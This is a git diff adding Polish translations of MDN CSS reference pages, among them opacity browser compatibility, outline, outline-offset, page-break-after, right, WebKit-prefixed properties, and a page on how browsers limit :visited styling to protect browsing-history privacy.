+&lt;style&gt;
+img.opacity {
+ opacity: 1;
+ filter: alpha(opacity=50);
+ zoom: 1;
+ }
+
+img.opacity:hover {
+ opacity: 0.5;
+ filter: alpha(opacity=100);
+ zoom: 1;
+ }
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;img src="//developer.mozilla.org/media/img/mdn-logo.png" alt="MDN logo" width="128" height="146" class="opacity" /&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Kompatybilność z przeglądarkami</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Element</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td rowspan="3">Podstawowe wsparcie</td>
+ <td rowspan="3">1.0</td>
+ <td rowspan="3">{{ CompatGeckoDesktop("1.7") }}</td>
+ <td>9.0</td>
+ <td rowspan="3">9.0</td>
+ <td rowspan="3">1.2 (125)</td>
+ </tr>
+ <tr>
+ <td>8.0<br>
+ <code>filter: alpha(opacity=xx)<br>
+ filter: "alpha(opacity=xx)" </code><br>
+ (oba to synonimy)</td>
+ </tr>
+ <tr>
+ <td>4.0<br>
+ <code>filter: alpha(opacity=xx)</code></td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table" style="height: 156px; width: 827px;">
+ <tbody>
+ <tr>
+ <th>Element</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td rowspan="3">Podstawowe wsparcie</td>
+ <td rowspan="3">1.0</td>
+ <td rowspan="3">{{ CompatGeckoMobile("1.7") }}</td>
+ <td>9.0</td>
+ <td rowspan="3">9.0</td>
+ <td rowspan="3">3.2</td>
+ </tr>
+ <tr>
+ <td>8.0<br>
+ <code>filter: alpha(opacity=xx)<br>
+ filter: "alpha(opacity=xx)" </code><br>
+ (oba to synonimy)</td>
+ </tr>
+ <tr>
+ <td>4.0<br>
+ <code>filter: alpha(opacity=xx)</code></td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>Przed wersją 9, Internet Explorer nie wspierał <code>opacity</code>, zamiast tego należało używać <code>filter</code>.</li>
+ <li>IE supports also the extended form <code>progid:DXImageTransform.Microsoft.Alpha(Opacity=xx)</code>. This is needless, so don't use it.</li>
+ <li>IE8 wprowadził <code>-ms-filter</code>, jednak jest to synonim do <code>filter</code>. Nie używaj wersji z prefiksem.</li>
+ <li><code>-moz-opacity</code>, <code>-khtml-opacity</code> nie są wspierane od początku 2004 roku.<br>
+ Konqueror zaczął wspierać <code>opacity</code> od wersji 4.0. Nie używaj więcej <code>-khtml-opacity</code> ani <code>-moz-opacity</code>.</li>
+</ul>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li>{{ spec("http://www.w3.org/TR/css3-color/#transparency","CSS 3 Color: opacity", "REC") }}</li>
+</ul>
diff --git a/files/pl/web/css/outline-offset/index.html b/files/pl/web/css/outline-offset/index.html
new file mode 100644
index 0000000000..025d8295a1
--- /dev/null
+++ b/files/pl/web/css/outline-offset/index.html
@@ -0,0 +1,42 @@
+---
+title: outline-offset
+slug: Web/CSS/outline-offset
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - 'CSS:Rozszerzenia_Mozilli'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/outline-offset
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach Mozilli <code>-moz-outline-offset</code> jest używane do ustawienia odstępu między konturem a krawędzią lub obramowaniem elementu. Kontur jest linią rysowaną wokół elementów, na zewnątrz krawędzi obramowania w celu wyróżnienia elementu.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Odstęp będzie przezroczysty (rodzic określi tło).</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-outline-offset: &lt;liczba&gt; | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>&lt;number&gt;</dt>
+ <dd>Szerokość odstępu.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>hbox.example {
+ /* Odsuwa kontur 2px od obramowania */
+ -moz-outline-offset: 2px;
+}
+</pre>
+
+<p> </p>
diff --git a/files/pl/web/css/outline/index.html b/files/pl/web/css/outline/index.html
new file mode 100644
index 0000000000..42bf295b72
--- /dev/null
+++ b/files/pl/web/css/outline/index.html
@@ -0,0 +1,57 @@
+---
+title: outline
+slug: Web/CSS/outline
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - 'CSS:Rozszerzenia_Mozilli'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/outline
+---
+<div>
+<div>{{CSSRef}}</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach opartych na Gecko <code>-moz-outline</code> jest używany do ustawiania konturu elementu. Kontur jest linią rysowaną na zewnątrz krawędzi obramowania w celu wyróżnienia elementu.</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">-moz-outline: [<em>-moz-outline-color</em> || <em>-moz-outline-style</em> || <em>-moz-outline-width</em> | inherit];
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>-moz-outline-color</dt>
+ <dd>Ustawia kolor konturu. Zobacz {{ Cssxref("-moz-outline-color") }}.</dd>
+ <dt>-moz-outline-style</dt>
+ <dd>Ustawia styl konturu. Zobacz {{ Cssxref("-moz-outline-style") }}.</dd>
+ <dt>-moz-outline-width</dt>
+ <dd>Ustawia szerokość konturu. Zobacz {{ Cssxref("-moz-outline-width") }}.</dd>
+</dl>
+
+<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2>
+
+<ul>
+ <li>{{ Cssxref("-moz-outline-color") }} ustawia kolor konturu.</li>
+ <li>{{ Cssxref("-moz-outline-offset") }} odsuwa kontur od elementu.</li>
+ <li>{{ Cssxref("-moz-outline-radius") }} ustawia zaokrąglenie rogów konturu.</li>
+ <li>{{ Cssxref("-moz-outline-radius-bottomleft") }} ustawia zaokrąglenie dolnego lewego rogu.</li>
+ <li>{{ Cssxref("-moz-outline-radius-bottomright") }} ustawia zaokrąglenie dolnego prawego rogu.</li>
+ <li>{{ Cssxref("-moz-outline-radius-topleft") }} ustawia zaokrąglenie górnego lewego rogu.</li>
+ <li>{{ Cssxref("-moz-outline-radius-topright") }} ustawia zaokrąglenie górnego prawego rogu.</li>
+ <li>{{ Cssxref("-moz-outline-style") }} ustawia styl konturu.</li>
+ <li>{{ Cssxref("-moz-outline-width") }} ustawia szerokość konturu.</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre class="brush:css">hbox.example {
+ /* ciągły czerwony kontur o szerokości 10px */
+ -moz-outline: red solid 10px;
+}</pre>
diff --git a/files/pl/web/css/page-break-after/index.html b/files/pl/web/css/page-break-after/index.html
new file mode 100644
index 0000000000..b8b3dbbb63
--- /dev/null
+++ b/files/pl/web/css/page-break-after/index.html
@@ -0,0 +1,101 @@
+---
+title: page-break-after
+slug: Web/CSS/page-break-after
+tags:
+ - CSS
+ - druk
+translation_of: Web/CSS/page-break-after
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Akapit podsumowania.  Właściwość CSS <code>page-break-after</code> dostosowuje łamanie stron CSS <em>po</em> bieżącym elemencie.</p>
+
+<ul class="cssprop">
+ <li><dfn>{{ Xref_cssinitial() }}</dfn> {{ Cssxref("auto") }}</li>
+ <li><dfn>Stosowana do</dfn> elementów blokowych</li>
+ <li><dfn>{{ Xref_cssinherited() }}</dfn> nie</li>
+ <li><dfn>Media</dfn> {{ Xref_cssvisual() }}</li>
+ <li><dfn>{{ Xref_csscomputed() }}</dfn> według życzenia</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">page-break-after: auto | always | avoid | left | right | inherit
+</pre>
+
+<h2 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h2>
+
+<dl>
+ <dt>auto</dt>
+ <dd>{{ Xref_cssinitial() }}.  Samoczynne łamanie stron (dozwolone ale nie wymuszone).</dd>
+ <dt>always</dt>
+ <dd>Zawsze wymusza łamanie strony po elemencie.</dd>
+ <dt>avoid {{ Unimplemented_inline() }}</dt>
+ <dd>Unika łamania stron po elemencie.</dd>
+ <dt>left {{ Unimplemented_inline() }}</dt>
+ <dd>Wymusza takie łamanie strony po elemencie, że następna strona złoży się jako lewa.</dd>
+ <dt>right {{ Unimplemented_inline() }}</dt>
+ <dd>Wymusza takie łamanie strony po elemencie, że następna strona złoży się jako prawa.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>/* przejdź do następnej strony po przypisach */
+DIV.footnotes { page-break-after:always; }</pre>
+
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+
+<p>---</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/">W3C Cascading Style Sheets, level 2 revision 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1">W3C Cascading Style Sheets, level 1</a> (secondary)</li>
+ <li><a class="external" href="http://www.w3.org/Style/CSS/current-work">W3C Cascading Style Sheets, level 3</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<p>(Próbna tabela kompatybilności)</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4.0</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>7.0</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>1.2</td>
+ </tr>
+ <tr>
+ <td>Konqueror</td>
+ <td>4.7.2</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>(zastąp własność) {{ Cssxref("page-break-before") }}, {{ Cssxref("page-break-inside") }}, {{ Cssxref("orphans") }}, {{ Cssxref("widows") }}, {{ bug("132035") }}</li>
+</ul>
diff --git a/files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html b/files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html
new file mode 100644
index 0000000000..fad2ac55d1
--- /dev/null
+++ b/files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html
@@ -0,0 +1,68 @@
+---
+title: 'Prywatność i znacznik :visited'
+slug: 'Web/CSS/Prywatnosc_i_znacznik_:visited'
+translation_of: 'Web/CSS/Privacy_and_the_:visited_selector'
+---
+<div>{{cssref}}</div>
+
+<p>Przed mniej więcej rokiem 2010, <a href="/en-US/docs/Web/CSS">CSS</a>-owy znacznik {{ cssxref(":visited") }} pozwalał stronom WWW na ujawnianie historii przeglądania użytkownika i które ze stron odwiedził. Było to możliwe przez {{domxref("window.getComputedStyle")}} i inne techniki. Proces ten działał błyskawicznie i pozwalał nie tylko na ujawnienie, co użytkownik robił w sieci, ale również pozwalał na dowiedzenie się wielu informacji o jego tożsamości.</p>
+
+<p>By załagodzić ten problem, w {{ Gecko("2") }} zaimplementowano aktualizacje dot. prywatności celem ograniczenia ilości informacji zbieranych przez odwiedzone linki. W przypadku innych przeglądarek dokonano podobnych zmian.</p>
+
+<h2 id="Małe_białe_kłamstewka">Małe, białe kłamstewka</h2>
+
+<p>By chronić prywatność użytkowników, Firefox i inne przeglądarki będą kłamać aplikacjom webowym w przypadku zaistnienia poniższych okoliczności:</p>
+
+<ul>
+ <li>Metoda <code>window.getComputedStyle</code> i podobne funkcje, jak {{ domxref("element.querySelector") }} zawsze zwrócą wartości wykazujące, jakoby użytkownik nigdy nie odwiedził żadnego z linku danej strony.</li>
+ <li>Jeśli użyjesz selektora rodzeństwa, jak <code>:visited + span</code>, element sąsiedni (w omawianym przypadku <code>span</code>) zostanie ostylowany w sposób właściwy dla linka nieodwiedzonego.</li>
+ <li>W rzadkich przypadkach, jeśli zastosujesz zagnieżdżone elementy linków i okaże się, że dobrany element jest inny, niż link, którego obecność w historii jest testowana, element zostanie wyrenderowany również, jakby nigdy nie był wcześniej odwiedzany.</li>
+</ul>
+
+<h2 id="Limits_to_visited_link_styles">Limits to visited link styles</h2>
+
+<p>You can style visited links, but there are limits to which styles you can use. Only the following styles can be applied to visited links:</p>
+
+<ul>
+ <li>{{ cssxref("color") }}</li>
+ <li>{{ cssxref("background-color") }}</li>
+ <li>{{ cssxref("border-color") }} (and its sub-properties)</li>
+ <li>{{ cssxref("column-rule-color") }}</li>
+ <li>{{ cssxref("outline-color") }}</li>
+ <li>The color parts of the {{SVGAttr("fill")}} and {{SVGAttr("stroke")}} attributes</li>
+</ul>
+
+<p>In addition, even for the above styles, you won't be able to change the transparency between unvisited and visited links, as you otherwise would be able to using <code><a href="/en-US/docs/Web/CSS/color_value#rgba()">rgba()</a></code>, <code><a href="/en-US/docs/Web/CSS/color_value#hsla()">hsla()</a></code>, or the <code><a href="/en-US/docs/Web/CSS/color_value#transparent">transparent</a></code> keyword.</p>
+
+<p>Here is an example of how to use styles with the aforementioned restrictions:</p>
+
+<pre class="brush: css">:link {
+ outline: 1px dotted blue;
+ background-color: white;
+ /* The default value of background-color is `transparent`. You need to
+ specify a different value, otherwise changes on :visited won't apply. */
+}
+
+:visited {
+ outline-color: orange; /* Visited links have an orange outline */
+ background-color: green; /* Visited links have a green background */
+ color: yellow; /* Visited links have yellow colored text */
+}
+</pre>
+
+<h2 id="Impact_on_web_developers">Impact on web developers</h2>
+
+<p>Overall, these restrictions shouldn't affect web developers too significantly. They may, however, require the following changes to existing sites:</p>
+
+<ul>
+ <li>Using background images to style links based on whether they've been visited will no longer work, since only colors can be used to style visited links.</li>
+ <li>Colors that are otherwise transparent will fail to appear if styled in a <code>:visited</code> selector.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/" title="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/">privacy-related changes coming to CSS :visited</a> on Mozilla Hacks</li>
+ <li><a class="external" href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/" title="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">Plugging the CSS History Leak</a> on the Mozilla Security Blog</li>
+ <li><a class="external" href="http://dbaron.org/mozilla/visited-privacy">Preventing attacks on a user's history through CSS :visited selectors</a></li>
+</ul>
diff --git a/files/pl/web/css/right/index.html b/files/pl/web/css/right/index.html
new file mode 100644
index 0000000000..8ba4fb3b11
--- /dev/null
+++ b/files/pl/web/css/right/index.html
@@ -0,0 +1,148 @@
+---
+title: right
+slug: Web/CSS/right
+tags:
+ - CSS
+ - CSS Property
+ - Własność CSS
+ - border
+translation_of: Web/CSS/right
+---
+<div>{{CSSRef}}</div>
+
+<p>Własność <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <code>right</code> pełni ważną rolę w określaniu pionowej pozycji pozycjonowanego elementu. Nie ma wpływu na elementy z nieokreślonym położeniem.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/right.html")}}</p>
+
+
+
+<p>Efekt <code>right</code> jest zależny od pozycji elementu (czyli od własności <code>position </code>elementu).</p>
+
+<ul>
+ <li>When <code>position</code> is set to <code>absolute</code> or <code>fixed</code>, the <code>right</code> property specifies the distance between the element's right edge and the right edge of its containing block.</li>
+ <li>When <code>position</code> is set to <code>relative</code>, the <code>right</code> property specifies the distance the element's right edge is moved to the left from its normal position.</li>
+ <li>When <code>position</code> is set to <code>sticky</code>, the <code>right</code> property behaves like its <code>position</code> is <code>relative</code> when the element is inside the viewport, and like its <code>position</code> is <code>fixed</code> when it is outside.</li>
+ <li>When <code>position</code> is set to <code>static</code>, the <code>right</code> property has <em>no effect</em>.</li>
+</ul>
+
+<p>When both {{cssxref("left")}} and <code>right</code> are defined, and the element cannot stretch to satisfy both, the position of the element is<em> overspecified</em>. When this is the case, the <code>left</code> value has precedence when the container is left-to-right; the <code>right</code> value has precedence when the container is right-to-left.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="brush:css no-line-numbers">/* Wartość liczbowa (długość) */
+right: 3px;
+right: 2.4em;
+
+/* Wartość procentowa */
+right: 10%;
+
+/* Wartość kluczowa */
+right: auto;
+
+/* Wartości globalne */
+right: inherit;
+right: initial;
+right: unset;
+</pre>
+
+<h3 id="Values" name="Values">Values</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Negatywna, pozytywna lub o wartości <code>null </code>długość, która dla:</dd>
+ <dd>
+ <ul>
+ <li>elementów z <code>position: absolute</code>, określa odległość do prawej krawędzi rodzica</li>
+ <li>elementów z <code>position: relative</code>, określa czy element jest przeniesiony do lewej krawędzi jej normalnej (domyślnej) pozycji</li>
+ </ul>
+ </dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Wartość procentowa określa procentową odległość  w stosunku do szerokości rodzica. </dd>
+ <dt></dt>
+ <dt><code>auto</code></dt>
+ <dd>Specifies that:
+ <ul>
+ <li>for <em>absolutely positioned elements</em>, the position of the element is based on the {{Cssxref("left")}} property, while <code>width: auto</code> is treated as a width based on the content; or if <code>left</code> is also <code>auto</code>, the element is positioned where it should horizontally be positioned if it were a static element.</li>
+ <li>for <em>relatively positioned elements</em>, the distance of the element from its normal position is based on the {{Cssxref("left")}} property; or if <code>left</code> is also <code>auto</code>, the element is not moved horizontally at all.</li>
+ </ul>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>Specifies that the value is the same as the computed value from its parent element (which might not be its containing block). This computed value is then handled as if it were a {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, or the <code>auto</code> keyword.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Przykłady</h2>
+
+<pre class="brush: css; highlight:[16]">#example_3 {
+ width: 100px;
+ height: 100px;
+ background-color: #FFC7E4;
+ position: relative;
+ top: 20px;
+ left: 20px;
+}
+
+#example_4 {
+ width: 100px;
+ height: 100px;
+ background-color: #FFD7C2;
+ position: absolute;
+ bottom: 10px;
+ right: 20px;
+}</pre>
+
+<pre class="brush: html">&lt;div id="example_3"&gt;Example 3&lt;/div&gt;
+&lt;div id="example_4"&gt;Example 4&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Examples', 500, 220) }}</p>
+
+<h2 id="Specifications" name="Specifications">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'right')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Definiuje <code>right </code>jako animatable (możliwy do animowania)</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Positioning', '#propdef-right', 'right')}}</td>
+ <td>{{Spec2('CSS3 Positioning')}}</td>
+ <td>
+ <p>Określa zachowanie dla <code>sticky position</code>.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visuren.html#propdef-right', 'right')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>
+ <p>Initial definition.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("css.properties.right")}}</p>
+
+<h2 id="Zobacz_jeszcze">Zobacz jeszcze</h2>
+
+<ul>
+ <li>{{cssxref("position")}}, {{cssxref("left")}}, {{cssxref("top")}}, {{cssxref("bottom")}}</li>
+</ul>
diff --git a/files/pl/web/css/rozszerzenia_webkit/index.html b/files/pl/web/css/rozszerzenia_webkit/index.html
new file mode 100644
index 0000000000..0b60bd4475
--- /dev/null
+++ b/files/pl/web/css/rozszerzenia_webkit/index.html
@@ -0,0 +1,358 @@
+---
+title: Rozszerzenia WebKit
+slug: Web/CSS/Rozszerzenia_WebKit
+tags:
+ - CSS
+ - Referencje CSS
+translation_of: Web/CSS/WebKit_Extensions
+---
+<div>{{CSSRef}}</div>
+
+<p>Webkit wspiera wiele rozszerzeń dedykowanych <a href="/en-US/docs/Web/CSS">CSS</a> opatrzonych prefiksem <code>-webki</code>t. Wszystkie właściwości opatrzone prefiksem <code>-webkit</code> działają również z prefiksem <code>-apple</code>.</p>
+
+<p>Niektóre z tych właściwości zostały zawarte w szkicu specyfikacji CSS w celu włączenia do ostatecznej rekomendacji, ale są one jeszcze eksperymentalne. Niektóre z tych niestandardowych właściwości nie wchodzą w skład linii standardowo obowiązującej.</p>
+
+<h2 id="Jednostki_z_prefiksem_WebKit_obowiązującego_standardu">Jednostki z prefiksem WebKit obowiązującego standardu</h2>
+
+<div class="index">
+<h3 id="A_–_C">A – C</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-column-count")}}</li>
+ <li>{{cssxref("-webkit-column-gap")}}</li>
+ <li>{{cssxref("-webkit-column-width")}}</li>
+ <li>{{cssxref("-webkit-column-rule")}}</li>
+ <li>{{cssxref("-webkit-column-rule-width")}}</li>
+ <li>{{cssxref("-webkit-column-rule-style")}}</li>
+ <li>{{cssxref("-webkit-column-rule-color")}}</li>
+ <li>{{cssxref("-webkit-columns")}}</li>
+ <li>{{cssxref("-webkit-column-span")}}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-font-feature-settings")}}</li>
+ <li>{{cssxref("-webkit-font-kerning")}}</li>
+ <li>{{cssxref("-webkit-font-size-delta")}}</li>
+ <li>{{cssxref("-webkit-font-variant-ligatures")}}</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-grid-column")}}</li>
+ <li>{{cssxref("-webkit-grid-row")}}</li>
+</ul>
+
+<h3 id="H_–_O">H – O</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-hyphens")}}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-mask")}}</li>
+ <li>{{cssxref("-webkit-mask-clip")}}</li>
+ <li>{{cssxref("-webkit-mask-composite")}}</li>
+ <li>{{cssxref("-webkit-mask-image")}}</li>
+ <li>{{cssxref("-webkit-mask-origin")}}</li>
+ <li>{{cssxref("-webkit-mask-position")}}</li>
+ <li>{{cssxref("-webkit-mask-position-x")}}</li>
+ <li>{{cssxref("-webkit-mask-position-y")}}</li>
+ <li>{{cssxref("-webkit-mask-repeat")}}</li>
+ <li>{{cssxref("-webkit-mask-repeat-x")}}</li>
+ <li>{{cssxref("-webkit-mask-repeat-y")}}</li>
+ <li>{{cssxref("-webkit-mask-size")}}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-perspective")}}</li>
+ <li>{{cssxref("-webkit-perspective-origin")}}</li>
+</ul>
+
+<h3 id="Q_–_Z">Q – Z</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-region-fragment")}}</li>
+ <li>{{cssxref("-webkit-shape-outside")}}</li>
+ <li>{{cssxref("-webkit-text-emphasis")}}</li>
+ <li>{{cssxref("-webkit-text-emphasis-color")}}</li>
+ <li>{{cssxref("-webkit-text-emphasis-position")}}</li>
+ <li>{{cssxref("-webkit-text-emphasis-style")}}</li>
+ <li>{{cssxref("-webkit-transform")}}</li>
+ <li>{{cssxref("-webkit-transform-origin")}}</li>
+ <li>{{cssxref("-webkit-transform-style")}}</li>
+ <li>{{cssxref("-epub-word-break")}}</li>
+ <li>{{cssxref("-epub-writing-mode")}}</li>
+</ul>
+</div>
+
+<h2 id="Jednostki_z_prefiksem_WebKit_z_odpowiednikiem_bez_prefiksu">Jednostki z prefiksem WebKit z odpowiednikiem bez prefiksu</h2>
+
+<p>W celu maksymalizacji kompatybilności z Twoim CSS powinienneś/powinnaś stosować właściwości standardu bez prefiksu zamiast opcji z prefiksem. Poniżej znajduje się lista wszystkich wariantów:</p>
+
+<div class="index">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-animation")}}</li>
+ <li>{{cssxref("-webkit-animation-delay")}}</li>
+ <li>{{cssxref("-webkit-animation-direction")}}</li>
+ <li>{{cssxref("-webkit-animation-duration")}}</li>
+ <li>{{cssxref("-webkit-animation-fill-mode")}}</li>
+ <li>{{cssxref("-webkit-animation-iteration-count")}}</li>
+ <li>{{cssxref("-webkit-animation-name")}}</li>
+ <li>{{cssxref("-webkit-animation-play-state")}}</li>
+ <li>{{cssxref("-webkit-animation-timing-function")}}</li>
+</ul>
+
+<h3 id="B">B</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-backface-visibility")}}</li>
+ <li>{{cssxref("-webkit-background-clip")}}</li>
+ <li>{{cssxref("-webkit-background-origin")}}</li>
+ <li>{{cssxref("-webkit-background-size")}}</li>
+ <li>{{cssxref("-webkit-border-bottom-left-radius")}}</li>
+ <li>{{cssxref("-webkit-border-bottom-right-radius")}}</li>
+ <li>{{cssxref("-webkit-border-image")}}</li>
+ <li>{{cssxref("-webkit-border-radius")}}</li>
+ <li>{{cssxref("-webkit-border-top-left-radius")}}</li>
+ <li>{{cssxref("-webkit-border-top-right-radius")}}</li>
+ <li>{{cssxref("-webkit-box-sizing")}}</li>
+</ul>
+
+<h3 id="C_–_N">C – N</h3>
+
+<ul>
+ <li>{{cssxref("-epub-caption-side")}}</li>
+</ul>
+
+<h3 id="O_–_S">O – S</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-opacity")}}</li>
+</ul>
+
+<h3 id="T_–_Z">T – Z</h3>
+
+<ul>
+ <li>{{cssxref("-epub-text-transform")}}</li>
+ <li>{{cssxref("-webkit-transition")}}</li>
+ <li>{{cssxref("-webkit-transition-delay")}}</li>
+ <li>{{cssxref("-webkit-transition-duration")}}</li>
+ <li>{{cssxref("-webkit-transition-property")}}</li>
+ <li>{{cssxref("-webkit-transition-timing-function")}}</li>
+</ul>
+</div>
+
+<h2 id="Firmowe_jednostki_z_prefiksem_WebKit_(nie_do_używania_na_stronach_internetowych)">Firmowe jednostki z prefiksem WebKit (nie do używania na stronach internetowych)</h2>
+
+<div class="index">
+<h3 id="A_2">A</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-appearance")}}</li>
+ <li>{{cssxref("-webkit-aspect-ratio")}}</li>
+ <li>{{cssxref(":-webkit-autofill")}}</li>
+</ul>
+
+<h3 id="B_2">B</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-background-composite")}}</li>
+ <li>{{cssxref("background-origin-x")}} (unprefixed!)</li>
+ <li>{{cssxref("background-origin-y")}} (unprefixed!)</li>
+ <li>{{cssxref("-webkit-border-after")}}</li>
+ <li>{{cssxref("-webkit-border-after-color")}}</li>
+ <li>{{cssxref("-webkit-border-after-style")}}</li>
+ <li>{{cssxref("-webkit-border-after-width")}}</li>
+ <li>{{cssxref("-webkit-border-before")}}</li>
+ <li>{{cssxref("-webkit-border-before-color")}}</li>
+ <li>{{cssxref("-webkit-border-before-style")}}</li>
+ <li>{{cssxref("-webkit-border-before-width")}}</li>
+ <li>{{cssxref("-webkit-border-end")}}</li>
+ <li>{{cssxref("-webkit-border-end-color")}}</li>
+ <li>{{cssxref("-webkit-border-end-style")}}</li>
+ <li>{{cssxref("-webkit-border-end-width")}}</li>
+ <li>{{cssxref("-webkit-border-fit")}}</li>
+ <li>{{cssxref("-webkit-border-horizontal-spacing")}}</li>
+ <li>{{cssxref("-webkit-border-start")}}</li>
+ <li>{{cssxref("-webkit-border-start-color")}}</li>
+ <li>{{cssxref("-webkit-border-start-style")}}</li>
+ <li>{{cssxref("-webkit-border-start-width")}}</li>
+ <li>{{cssxref("-webkit-border-vertical-spacing")}}</li>
+ <li>{{cssxref("-webkit-box-align")}}</li>
+ <li>{{cssxref("-webkit-box-direction")}}</li>
+ <li>{{cssxref("-webkit-box-flex")}}</li>
+ <li>{{cssxref("-webkit-box-flex-group")}}</li>
